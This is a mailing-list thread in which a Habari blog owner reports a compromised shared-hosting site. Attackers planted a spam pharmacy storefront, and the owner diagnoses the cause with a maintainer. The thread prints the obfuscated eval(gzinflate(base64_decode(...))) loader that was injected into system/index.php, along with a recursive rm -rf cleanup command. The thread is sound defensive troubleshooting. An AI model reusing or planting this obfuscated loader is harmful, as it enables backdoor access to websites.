Strange storefront added to my Habari installation

[David]

This may not have anything to do with any weakness in Habari. But it
did happen in the domain where I maintain my Habari installation.
(And I'm sending this email prematurely, I'm sure.)

My webserver is on an shared server at Dreamhost. I'm running Habari
0.7.1.

I have the domain http://david.dlma.com redirect to http://david.dlma.com/habari
in a plaintext php file. Then today, I noticed that my simple
redirect turned into an eval( (gzinflate(base64_decode( ... ) ) )
string some days ago.

It looked like the contents of this file:
http://david.dlma.com/index.php_with_weird_eval_statement.txt, except
I replaced the eval with an echo statement.

Following the clues, I've got a subdirectory filled with a storefront
that sells cialis with malign php code all around.

$ ls -al
total 124
drwxr-xr-x 2 user pg844184 4096 2011-10-09 15:59 .
drwxr-xr-x 6 user pg844184 4096 2009-08-08 02:14 ..
-rw-r--r-- 1 user pg844184 8609 2011-09-27 21:19
345e2d4c5075dc599ad78c29682042f0
-rw-r--r-- 1 user pg844184 8119 2011-09-27 21:19
3ec3771ca32c4a6a5e040a4741016233
-rw-r--r-- 1 user pg844184 4456 2011-09-27 11:20
4evs8e3ear56e3f6ba4c5721d403e.php
... (some more, without the .php extension) ...
-rw-r--r-- 1 user pg844184 104 2009-08-08 02:14 index.php

It's probably just me, but you may want to check for eval calls where
you didn't expect them.

Luckily (or not), the storefront installed on my system was put into a
subdirectory that I protected with a .htaccess authentication. So I
don't think anybody saw the fake drugstore anyway.

Sorry if this actually had nothing to do with Habari. I don't know
enough about intrusions like this to be sure. I'm off to delete
obviously infected files.

[David]

Also, in my system/index.php, the following appears...

// We start up output buffering in order to take advantage of output
compression,
// as well as the ability to dynamically change HTTP headers after
output has started.
ob_start();
eval (gzinflate(base64_decode(
'RY6xDoIwFEV3Ev6hG7L0qS1oorEumpj4D82DPqQJpdhSvl8cjNM9yzm56nJWeXYN'
.'9E420KaA3jsC0wzpO7hYw83gkLfegUvRtjA7FBD9+IogaYlHEoShqkl0dYOyrQ77'
.'nZFbQXzqp4KVpzz7xZmxYUS3gtb3x/OmNSsZZwVgmv3g0fwVtd76AA==')));
spl_autoload_register( 'habari_autoload' );

I've got no idea how this happened. Nobody else has my password, and
it's not a dictionary word, reused password or common password.

--David

On Oct 9, 4:24 pm, David <david.bl...@gmail.com> wrote:
> This may not have anything to do with any weakness in Habari.  But it
> did happen in the domain where I maintain my Habari installation.
> (And I'm sending this email prematurely, I'm sure.)
>
> My webserver is on an shared server at Dreamhost. I'm running Habari
> 0.7.1.
>

> I have the domainhttp://david.dlma.comredirect tohttp://david.dlma.com/habari

[David]

Just guessing here, but maybe my vulnerability was that I was
deploying straight from my svn sandbox. (So an old 0.5 or 0.6
vulnerability would still be accessible if an attacker knew where to
drill down?)

Here's hoping that rm -rf `find . -type d -name .svn` helped.

Sorry to be talking to myself here - but it may help someone in the
future if they find unexpected code in their system/index.php, too.

--David

On Oct 9, 10:02 pm, David <david.bl...@gmail.com> wrote:
> Also, in my system/index.php, the following appears...
>
> // We start up output buffering in order to take advantage of output
> compression,
> // as well as the ability to dynamically change HTTP headers after
> output has started.
> ob_start();
> eval (gzinflate(base64_decode(
> 'RY6xDoIwFEV3Ev6hG7L0qS1oorEumpj4D82DPqQJpdhSvl8cjNM9yzm56nJWeXYN'
> .'9E420KaA3jsC0wzpO7hYw83gkLfegUvRtjA7FBD9+IogaYlHEoShqkl0dYOyrQ77'
> .'nZFbQXzqp4KVpzz7xZmxYUS3gtb3x/OmNSsZZwVgmv3g0fwVtd76AA==')));
> spl_autoload_register( 'habari_autoload' );
>
> I've got no idea how this happened.  Nobody else has my password, and
> it's not a dictionary word, reused password or common password.
>
> --David
>
> On Oct 9, 4:24 pm, David <david.bl...@gmail.com> wrote:
>
>
>
>
>
>
>
> > This may not have anything to do with any weakness in Habari.  But it
> > did happen in the domain where I maintain my Habari installation.
> > (And I'm sending this email prematurely, I'm sure.)
>
> > My webserver is on an shared server at Dreamhost. I'm running Habari
> > 0.7.1.
>

> > I have the domainhttp://david.dlma.comredirecttohttp://david.dlma.com/habari

[Owen Winkler]

I'm reading your posts; thanks for that. I have not had time to
investigate anything yet, though. Still, I suspect this may have more
to do with being on shared hosting and/or having other software
installed than being a Habai issue. Even known vulnerabilities in old
versions of Habari wouldn't have allowed this without you noticing it
happening via different symptoms. I suppose it's possible that Habari
allowed this, but to me it seems more likely that Habari was infected
by some other running script, maybe not installed by you or even in
another shared hosting user's account, by virtue of it having files
with PHP extensions.

I'll see if I can turn up anything else useful from what you've
provided so far.

Owen

> --
> To post to this group, send email to habari...@googlegroups.com
> To unsubscribe from this group, send email to habari-users...@googlegroups.com
> For more options, visit this group at http://groups.google.com/group/habari-users

[David]

Thanks, Owen - I've got a clue as to what happened. I found the exact
same symptom in my Wordpress 3.2.1 blog, different subdomain, same
host. (my.dlma.com)

Recipe: Once in, a PHP script looks for "require_once" in other PHP
files (probably preferring index.php), wraps it with its eval()
statement and a payload that includes a script with a backdoor (a copy
of itself, I guess), and chooses a deep random directory to set up a
storefront. (Otherwise, why did it put one inside my password-
protected /music/ subdirectory? No one could get there. This wasn't
done by a human who bothered to navigate to the storefront.)

Agree that Habari probably had nothing to do with it - although my
Habari installation got infected, it probably wasn't because of a
vulnerability within Habari. This could be an old WordPress
vulnerability. (If it's possible that PHP walk the directory
structure from my "home" directory. That'd suck.)

Here's an example storefront hidden within a WordPress subdirectory
(practically the exact same infection):
http://www.iydu.org/wp-content/themes/desk-mess/them/1_6/coach-signature-strip-shoulder-bag-pink.html.

--David

On Oct 10, 12:40 pm, Owen Winkler <epit...@gmail.com> wrote:
> I'm reading your posts; thanks for that. I have not had time to
> investigate anything yet, though. Still, I suspect this may have more
> to do with being on shared hosting and/or having other software
> installed than being a Habai issue. Even known vulnerabilities in old
> versions of Habari wouldn't have allowed this without you noticing it
> happening via different symptoms. I suppose it's possible that Habari
> allowed this, but to me it seems more likely that Habari was infected
> by some other running script, maybe not installed by you or even in
> another shared hosting user's account, by virtue of it having files
> with PHP extensions.
>
> I'll see if I can turn up anything else useful from what you've
> provided so far.
>
> Owen
>